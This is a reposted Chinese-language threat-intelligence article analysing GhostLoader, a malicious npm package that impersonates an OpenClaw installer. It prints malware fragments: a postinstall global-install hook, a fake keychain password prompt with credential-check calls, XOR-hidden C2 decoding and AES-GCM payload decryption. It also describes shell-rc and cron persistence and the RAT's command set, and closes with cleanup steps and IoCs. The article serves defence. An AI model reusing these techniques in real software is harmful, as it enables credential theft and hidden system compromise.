文章总结: 安全团队披露恶意npm包@openclaw-ai/openclawai伪装成合法工具,通过社工骗取系统密码,窃取浏览器数据、加密钱包及SSH密钥等敏感信息。该木马GhostLoader具备持久化驻留与远程控制功能,危害极大。文章详细分析了其攻击链与反取证技术,提供了包含清除持久化、轮换凭证及重装系统在内的应急处置建议。 综合评分: 93 文章分类: 恶意软件,供应链安全,威胁情报,应急响应
GhostClaw 现形记:伪装成 OpenClaw 的 npm 毒包,能偷走你的一切
幻泉之洲
2026年3月11日 10:14 北京
安全研究团队发现一个名为 @openclaw-ai/openclawai 的恶意 npm 包。它伪装成“OpenClaw安装器”,实则是一个分阶段作案的木马:先通过社交工程骗走你的系统密码,再窃取浏览器数据、加密货币钱包、SSH密钥、苹果钥匙串等,最后植入一个功能齐全的远程访问木马。
一个冒牌货潜入了开源世界
JFrog 的安全研究团队最近逮住了一个“活生生”的恶意 npm 包。它的名字是 @openclaw-ai/openclawai。
这名字听起来很眼熟是吧?它就是在明目张胆地冒充那个合法的 CLI 工具“OpenClaw 安装器”。但只要你一安装,它就开始执行一套复杂的攻击流程。
先偷你的系统密码,再挖空你的浏览器。加密货币钱包和 SSH 密钥也别想跑,连苹果钥匙串数据库和 iMessage 聊天记录都给你打包带走。最后,它会在你电脑里安家,装上一个功能完备的 RAT——远程访问木马。
这个木马能干啥?建立一个 SOCKS5 代理隧道,甚至能“克隆”你正在使用的浏览器会话。这意味着攻击者可以像你一样登录你的账户,而你毫无察觉。
这款恶意软件内部自称为 GhostLoader。
说实话,这个包让我有点后背发凉。不是因为它的技术有多神,而是因为它太懂开发者了,套路设计得相当周到。
包装精美的陷阱
咱们先看看这个包的“门面”。它的 package.json 文件看起来人畜无害。
{ "name": "@openclaw-ai/openclawai", "version": "1.5.15", "description": "🦞 OpenClaw Installer - Integration utilities", "main": "src/index.js", "types": "src/index.d.ts", "files": [ "src", "scripts/setup.js", "scripts/postinstall.js", "scripts/build.js" ], "bin": { "openclaw": "./scripts/setup.js" }, "scripts": { "start": "node src/index.js", "build": "node scripts/build.js", "lint": "eslint src/**/*.js", "test": "jest" }, "license": "MIT", "keywords": [ "utility", "sdk", "integration" ], "dependencies": {}}
项目的主入口 src/index.js 导出的只是一个诱饵工具函数 useAsyncState。真正的恶意代码,藏在 scripts/ 目录下。
这里有一个关键的钩子:postinstall。在你执行 npm install 之后,它会悄无声息地干一件事——把这个包再全局安装一遍。
const { execSync } = require(‘child_process’); execSync(“npm i -g @openclaw-ai/openclawai”, { stdio: ‘inherit’ });
这么一来,openclaw 这个二进制命令就被放到了系统的 PATH 路径下。这是整个攻击链条的第一个触发器。
接下来,当你试图在命令行里运行 openclaw 时,实际上执行的是那个经过高度混淆的脚本:scripts/setup.js。这就是它的第一阶段投放器。
第一步:骗走你的密码
setup.js 这个文件被花式混淆过,什么字符串表重排、RC4解码、控制流扁平化,能用的都用上了。
运行起来后,它会给你展示一个非常“专业”的假 CLI 安装器界面。动态进度条、旋转的指示器、逼真的系统日志输出,应有尽有。这界面做得比很多正经工具还像那么回事。
进度条走完,戏肉来了。
屏幕上弹出一个“钥匙串授权”提示,让你输入系统密码。提示语写得有模有样,说这是为了安全存储凭证,需要管理员权限,还说这是“一次性操作”。
Keychain Authorization Required OpenClaw needs to securely store credentials in the macOS Keychain. Administrator privileges are required for the initial setup. This is a one-time operation for secure vault initialization.
你最多可以尝试5次。每次你输入密码,它都会偷偷调用真正的系统认证接口去验证。
// macOSspawnSync("dscl", [".", "-authonly", username, password], { stdio: "pipe", timeout: 5000 });// WindowsspawnSync("powershell", ["-NoProfile", "-NonInteractive", "-Command", "... $ctx.ValidateCredentials('" + username + "', '" + password + "') ..."]);// LinuxspawnSync("su", ["-c", "true", username], { input: password + "\n", stdio: "pipe" });
验证失败了?它会原样显示“认证失败,请重试”,把操作系统自己的错误提示模仿得惟妙惟肖。
就在你盯着这个假界面,犹豫要不要输入密码的时候,脚本已经在后台偷偷干活了。
暗度陈仓:加密下载第二阶段载荷
它开始从远方的命令与控制服务器下载真正的“重量级”恶意软件。
为了躲避静态扫描,C2服务器的地址和路径都用异或编码成了数字数组,运行时才解密。
var_60.map((val, i) => String.fromCharCode(val ^ var_61[i])).join("") // 解密结果:https://trackpipe.devvar_65.map((val, i) => String.fromCharCode(val ^ var_66[i])).join("") // 解密结果:fafc0e77-9c1b-4fe1-bf7e-d24d2570e50e
最后凑成一个完整的请求地址:hxxp[://]trackpipe[.]dev/t/bootstrap?t=fafc0e77-9c1b-4fe1-bf7e-d24d2570e50e
C2服务器返回一个JSON,包含两个关键字段:p是经过base64编码的加密载荷,k是十六进制的解密密钥。
载荷使用 AES-256-GCM 算法解密,这是一种带有认证标签的加密模式,目的是确保数据在传输过程中没被篡改。
const encrypted = Buffer.from(response.p, "base64");const key = Buffer.from(response.k, "hex");const iv = encrypted.slice(0, 16);const authTag = encrypted.slice(16, 32);const ciphertext = encrypted.slice(32);const decipher = crypto.createDecipheriv("aes-256-gcm", key, iv);decipher.setAuthTag(authTag);let decrypted = decipher.update(ciphertext);decrypted = Buffer.concat([decrypted, decipher.final()]);
解密得到的 JavaScript 代码,被写入一个临时文件,然后以一个“分离”的子进程方式静默启动。你刚刚输入的系统密码,就通过环境变量 NODE_AUTH_TOKEN 传给了这个新进程。一个叫“complexarchaeologist1”的战役标识符也一并传了过去。
这个临时文件在60秒后会被删除。从你的角度看,npm install 命令一切正常,成功结束。而你电脑的后台,已经多了一个正在运行的恶意程序。
如果一次不够,就再骗一次
如果第一阶段发现它无法访问关键的 Safari 目录(可能是因为没开“完全磁盘访问”权限),它还会发起第二轮社交工程攻击。
脚本会弹出一个 AppleScript 对话框,恳请用户给“终端”应用授予完全磁盘访问权限,甚至还附带了一步一步的图文指引。对话框上直接有个按钮,一点就能打开系统偏好设置里对应的页面。
一旦用户照做,第二阶段载荷就能畅通无阻地窃取苹果备忘录、iMessage、Safari 浏览历史和邮件数据了。
第二阶段:GhostLoader,全员恶人登场
这第二阶段的载荷,是一个大约11700行的 JavaScript 巨型捆绑包。它是完整的信息窃取器和远程访问木马框架。
它首先会把自己永久安装在系统里。
它把自己拷贝到一个伪装成“npm遥测服务”的隐藏目录:
- macOS / Linux:
~/.cache/.npm_telemetry/monitor.js - Windows:
%APPDATA%/.npm_telemetry/monitor.js
这名字起得可真够“合规”的,让人第一眼看了都不想删。
光拷贝自己还不够,它要保证能一直活着。
它在你的 ~/.zshrc, ~/.bashrc, ~/.bash_profile 这些 shell 配置文件的末尾,偷偷加上几行代码。这几行代码被伪装成“# NPM Telemetry Integration Service”的注释。它的作用是检查一个 .lock 锁文件,如果发现恶意进程没在运行,就立刻用 nohup 命令在后台把它重新拉起来。
在 Linux 上,它还会往 crontab 里加一个 @reboot 的任务,确保每次系统重启,它都能自动复活。
完成安装后,它会从新的安装路径把自己再运行一遍,然后原来的进程退出。这样一来,它就完成了“转正”,从一个临时文件变成了系统里的常住“幽灵”。
开箱即用的“数据收集大礼包”
首次运行时,main() 函数会启动一次全面数据收集,并且设置了10分钟的超时时间。
它先给攻击者的 Telegram 机器人发一条“新会话”通知,把你刚被骗走的密码、主机名、IP、国家、系统配置都报上去。
然后,真正的搜刮开始了:
-
macOS 钥匙串:
本地的 login.keychain-db 和所有 iCloud 钥匙串数据库,连日志文件(-wal, -shm)都不放过。
-
浏览器凭证:
如果你用的是 Chromium 内核浏览器(Chrome, Edge, Brave 等),它就用骗来的密码解开 macOS 钥匙串,拿到 Chrome 的“安全存储”密钥,然后解密你所有的密码、Cookie、信用卡信息和自动填充数据。Firefox 的密码则通过 NSS/PKCS#12 机制解密。它还会得意地统计:“解密了42个密码,3张卡,128条自动填充数据”。
-
CDP Cookie 窃取:
对于没法直接从数据库提取的 Cookie,它就启动无头浏览器,连接 Chrome 开发者工具协议,把Cookie全给导出来。
-
加密货币钱包:
桌面端钱包(Exodus, Electrum等)和浏览器插件钱包(MetaMask, Phantom等)都是目标。
-
助记词扫描器:
在你的桌面、文档、下载文件夹里翻箱倒柜,扫描所有文件,用BIP-39词库匹配法寻找助记词。
-
SSH密钥:
整个
~/.ssh/目录打包带走。 -
AI 代理配置:
从零开始,它能嗅探到你的 AI 代理配置,比如 ZeroClaw 或 PicoClaw。
-
截图和文件查找:
截取屏幕,并按扩展名(.doc, .pdf, .xlsx, .env, .pem 等)搜索敏感文件。
这些数据被打包压缩,通过 Telegram 的 Bot API 发送给攻击者。如果文件太大,它会自动转存到 GoFile.io 这类文件分享服务,并且用硬编码的密码把压缩包锁上。
最后,攻击者 Telegram 上会收到一份格式工整的“战报”:
GhostLoader Report[ Target ] Worker: complexarchaeologist1 Campaign: @openclaw-ai/openclawai User: victim Host: MacBook-Pro.local Country: US[ Findings ] password .. hunter2 pass .......... 42 cards ......... 3 autofill ..... 128 CDP .......... 4 wallets ...... 2 seeds ........ 1 ssh ............ 3 FDA ........... Yes (5) persist ...... Yes keychain ... Yes browsers .. 3 AI agents . ZeroClaw (4), PicoClaw (2)
数据都发完了,它再把本地的“赃物”目录清理干净,不留痕迹。
长期潜伏:远程访问木马模式
在首次大扫荡之后的运行中,木马就进入了安静的守护进程模式。
-
剪贴板监控:
每3秒读一次系统剪贴板,匹配预定义的正则表达式。 一旦命中,立即发送给攻击者。
-
私钥、助记词?抓。
-
比特币、以太坊地址?抓。
-
AWS密钥、OpenAI的sk-密钥、Stripe密钥?全都抓。
-
进程监控:
看看你在跑什么有趣的应用。
-
iMessage 监控 (macOS):
实时监听聊天数据库的新消息。
攻击者想干嘛就干嘛
木马大约每25秒(有30%的随机抖动)联系一次C2服务器,询问有没有新命令。
它支持的命令列表很全:
| 命令 | 描述 | | — | — | | EXEC | 执行任意shell命令(85秒超时),将输出返回给C2 | | OPEN | 在受害者默认浏览器中打开一个网址 | | UPDATE | 下载新载荷(AES-256-GCM加密),覆盖自己,重启 | | GRAB | 将任意文件或目录打包并外传 | | RECOLLECT | 重新运行完整的数据收集(可带新密码) | | PROXY_START | 在受害者机器上启动SOCKS5代理 | | PROXY_STOP | 停止SOCKS5代理 | | PROXY_STATUS | 报告代理端口、活跃连接、运行时间 | | CLONE_START | 克隆浏览器配置并启动无头浏览器,将CDP中继给C2 | | CLONE_STOP | 停止浏览器克隆 | | CLONE_STATUS | 列出可用浏览器及活跃克隆 | | NUKE | 完全自毁 |
UPDATE 命令让攻击者可以随时远程升级木马,无需重新发包到 npm。
CLONE_START 命令尤其危险。它完整复制你的浏览器配置,启动一个无头实例,然后把浏览器的调试WebSocket接口直接转发给攻击者。这意味着攻击者能获得一个完全登录状态的浏览器会话,像你一样操作你的网上账户。
NUKE 命令则是终极清理:杀进程、删钩子、清cron任务、扫临时文件、递归删除安装目录,力求不留痕迹。
反取证手段
GhostLoader 为了不被发现,用了不少心思:
- 分离子进程,关闭标准输入输出,进程名伪装成
node。 - 临时文件60秒自毁。
- 安装目录伪装成
.npm_telemetry。 - Shell钩子伪装成“# NPM Telemetry Integration Service”。
- Cron任务伪装成“# Node.js Telemetry Collection”。
- 赃物目录在数据外传后立即删除。
- 锁文件防止多个实例同时运行。
- 崩溃时还能把调试日志发给攻击者,然后自己安静退出。
如果你中招了,怎么办?
如果你在任何时候安装过 @openclaw-ai/openclawai,请立即执行以下步骤。
-
清除持久化:
检查
~/.zshrc,~/.bashrc,~/.bash_profile,~/.zshenv,~/.profile这几个文件,删掉所有包含npm_telemetry或 “NPM Telemetry Integration Service” 的行。运行crontab -l,删掉所有引用.npm_telemetry的条目。 -
杀进程:
运行
ps aux | grep monitor.js和ps aux | grep npm_telemetry,找到并杀死任何相关的进程。 -
删目录:
删除隐藏的安装目录。macOS/Linux:
rm -rf ~/.cache/.npm_telemetry/;Windows:去%APPDATA%下删除.npm_telemetry文件夹。 -
卸载包:
npm uninstall -g @openclaw-ai/openclawai && npm uninstall @openclaw-ai/openclawai -
轮换所有凭证:
系统密码、SSH密钥、所有API令牌(AWS, GCP, Azure, OpenAI, Stripe, npm, GitHub CLI 等)、浏览器保存的密码、所有可能暴露的加密货币钱包助记词。全部换掉。
-
吊销浏览器会话:
你的Cookie都被偷了。在所有支持会话管理的服务(如Google, GitHub)上,登出所有活跃会话。
-
考虑重装系统:
考虑到它获得了系统密码、完整钥匙串、浏览器会话、SOCKS5代理和浏览器克隆能力,强烈建议彻底重装系统。
最后的一点想法
@openclaw-ai/openclawai 这个包,把社交工程、加密载荷投递、大规模数据窃取和持久化RAT全部打包在一起。它那个假CLI安装器和钥匙串提示,足以骗过很多谨慎的开发人员。
一旦它拿到了你的系统密码,就等于拿到了打开你数字保险箱的钥匙。macOS的钥匙串保护、浏览器的加密存储,在正确的密码面前都形同虚设。
开发者必须对任何有可疑行为的npm包保持警惕:
- 要求输入系统密码的。
- 通过postinstall脚本全局安装自己的。
- 在安装时从远程拉取“运行时载荷”的。
安装OpenClaw这类工具时,只用官方来源的包,警惕任何名字相似的三方替代品。
这个包目前已被 JFrog Xray 和 JFrog Curation 检测出来。
失陷指标(IoC)
| 指标 | 值 | | — | — | | 包名 | @openclaw-ai/openclawai | | 包类型 | npm | | 版本 | 1.5.15, 1.5.14 | | C2域名 | hxxps[://]trackpipe[.]dev | | 安装目录 | ~/.cache/.npm_telemetry/ | | 可执行文件名 | monitor.js | | 战役ID | complexarchaeologist1 |
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:幻泉之洲 《GhostClaw 现形记:伪装成 OpenClaw 的 npm 毒包,能偷走你的一切》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。











评论